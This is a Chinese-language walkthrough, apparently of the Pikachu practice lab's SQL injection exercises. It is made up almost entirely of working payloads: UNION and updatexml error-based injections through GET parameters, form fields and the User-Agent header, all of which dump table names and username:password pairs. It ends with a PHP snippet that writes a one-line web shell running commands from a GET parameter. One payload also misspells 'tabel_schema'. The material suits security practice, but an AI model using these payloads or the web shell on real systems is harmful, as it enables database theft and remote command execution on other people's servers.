id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
id=-1 union select 1,group_concat(username,0x3a,password) from users
字符型注入(get)
判断闭合发现这是单引号闭合
?name=a' -- #
接着直接获取全部数据就行了
?name=kobe' or '1'='1
或者使用报错注入获取想要的数据:
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) and '1'='1
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3) and '1'='1
?name=kobe' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3) and '1'='1
搜索型注入
简单输入一些东西发现这是使用了like模糊搜索,所以闭合的时候要加上百分号
?name=k%' or '1'='1'--+
所以可以知道这是百分号加上单引号闭合,由于尝试的时候有报错信息,所以直接使用报错注入
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
?name=k%' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+
xx型注入
由报错信息得知这是单引号加括号闭合,所以构造闭合
?name=1') --+
由于有报错信息所以使用报错注入
?name=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)--+
?name=1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)--+
?name=1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)--+
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)#&add=123&email=123&submit=submit
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)#&add=123&email=123&submit=submit
sex=123&phonenum=123' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)#&add=123&email=123&submit=submit
"delete"注入
随便加个单引号得出是数字型注入,并且由报错信息判断可以使用报错注入
?id=56 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)
?id=56 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),3)
?id=56 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)),3)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where tabel_schema=database())),3) or '
<?php
/**
* Created by runner.han
* There is nothing new under the sun
*/
$myfile = fopen("yijuhua.php","w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile,$txt);
fclose($myfile);
?>